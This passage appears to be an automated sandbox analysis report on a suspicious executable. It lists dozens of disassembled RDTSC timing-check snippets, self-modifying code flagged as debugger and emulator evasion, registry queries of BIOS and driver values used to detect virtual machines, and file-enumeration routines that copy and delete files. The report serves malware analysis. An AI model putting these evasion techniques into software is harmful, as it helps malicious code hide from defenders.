Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4A91 second address: FE4A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5008 second address: FE501F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FB958FCD452h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE501F second address: FE5025 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5025 second address: FE502F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB958FCD446h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE502F second address: FE503B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5351 second address: FE5356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5356 second address: FE535C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FED839 second address: FED83E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FED992 second address: FED996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FED996 second address: FED9A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDB66 second address: FEDB6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDB6A second address: FEDB74 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB958FCD446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDCE7 second address: FEDCF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FB958B07016h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDE5D second address: FEDE6E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop ecx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE0C9 second address: FEE103 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB958B07031h 0x00000008 jmp 00007FB958B07029h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB958B07025h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F04B second address: F3F051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6B1A second address: FF6B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6B1E second address: FF6B33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958FCD44Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6B33 second address: FF6B37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6E62 second address: FF6E7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB958FCD44Dh 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6E7B second address: FF6E81 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6E81 second address: FF6EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB958FCD459h 0x0000000b push edi 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007FB958FCD446h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF7008 second address: FF7013 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FB958B07016h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF758E second address: FF7592 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF7592 second address: FF759C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF759C second address: FF75C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB958FCD459h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF775E second address: FF7767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF7767 second address: FF777B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958FCD44Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF777B second address: FF7781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF7FD3 second address: FF7FFC instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB958FCD446h 0x00000008 jp 00007FB958FCD446h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FB958FCD459h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF86FD second address: FF870F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958B0701Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF870F second address: FF8715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8715 second address: FF8726 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB958B0701Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8726 second address: FF872A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF872A second address: FF872E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF872E second address: FF873C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100C533 second address: 100C539 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100C539 second address: 100C53D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100C53D second address: 100C549 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100C549 second address: 100C57B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FB958FCD450h 0x0000000a jo 00007FB958FCD461h 0x00000010 jmp 00007FB958FCD455h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100C0D3 second address: 100C0E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958B0701Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100C0E3 second address: 100C0EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100C0EB second address: 100C0EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100E2D8 second address: 100E302 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007FB958FCD446h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FB958FCD456h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A078 second address: F3A07F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A07F second address: F3A085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3A085 second address: F3A093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102350B second address: 1023510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CD02 second address: 102CD08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CD08 second address: 102CD0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CD0C second address: 102CD10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CD10 second address: 102CD1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B888 second address: 102B88E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B88E second address: 102B8AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 jmp 00007FB958FCD455h 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BDAB second address: 102BDB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB958B0701Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BDB7 second address: 102BDD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FB958FCD455h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BF18 second address: 102BF24 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jbe 00007FB958B07016h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C094 second address: 102C099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C099 second address: 102C0A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007FB958B07016h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102CA79 second address: 102CA7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032FA2 second address: 1032FA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C42C second address: 103C43A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958FCD44Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C43A second address: 103C444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C444 second address: 103C46B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FB958FCD446h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jl 00007FB958FCD448h 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e push esi 0x0000001f pop esi 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C46B second address: 103C471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103C471 second address: 103C47F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB958FCD446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104517A second address: 10451D2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FB958B0701Fh 0x00000008 jmp 00007FB958B07026h 0x0000000d pop esi 0x0000000e pushad 0x0000000f jmp 00007FB958B0701Ah 0x00000014 jmp 00007FB958B0701Ch 0x00000019 jnl 00007FB958B07016h 0x0000001f popad 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push ecx 0x00000023 jng 00007FB958B07022h 0x00000029 jo 00007FB958B07016h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044FE2 second address: 1044FF7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB958FCD446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b jbe 00007FB958FCD456h 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10616BF second address: 10616C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1061C4C second address: 1061C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB958FCD446h 0x0000000a jo 00007FB958FCD446h 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1061E1D second address: 1061E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB958B07016h 0x0000000a pop edx 0x0000000b ja 00007FB958B07033h 0x00000011 push esi 0x00000012 jnc 00007FB958B07016h 0x00000018 pop esi 0x00000019 popad 0x0000001a pushad 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1061E5A second address: 1061E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1062153 second address: 1062166 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FB958B07016h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10667F8 second address: 1066819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 or dl, 00000052h 0x0000000c push 00000004h 0x0000000e cld 0x0000000f push AB87BBC9h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB958FCD44Bh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068005 second address: 1068019 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB958B07016h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jc 00007FB958B07016h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068019 second address: 1068032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB958FCD455h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068032 second address: 1068036 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068036 second address: 106803C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106803C second address: 1068046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068046 second address: 106804C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106804C second address: 1068081 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958B0701Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB958B07020h 0x00000012 jmp 00007FB958B0701Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068081 second address: 1068088 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068088 second address: 10680A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007FB958B0701Eh 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20327 second address: 4F20353 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958FCD459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB958FCD44Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F203D0 second address: 4F203E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB958B07024h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F203E8 second address: 4F203EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E39F second address: F7E3A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DD1D31 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DD1C95 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F99A69 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1000612 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B838B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00B838B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B84910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B84910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00B7DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00B7E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00B7ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B84570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00B84570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B7F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B83EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00B83EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B716D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B716D0
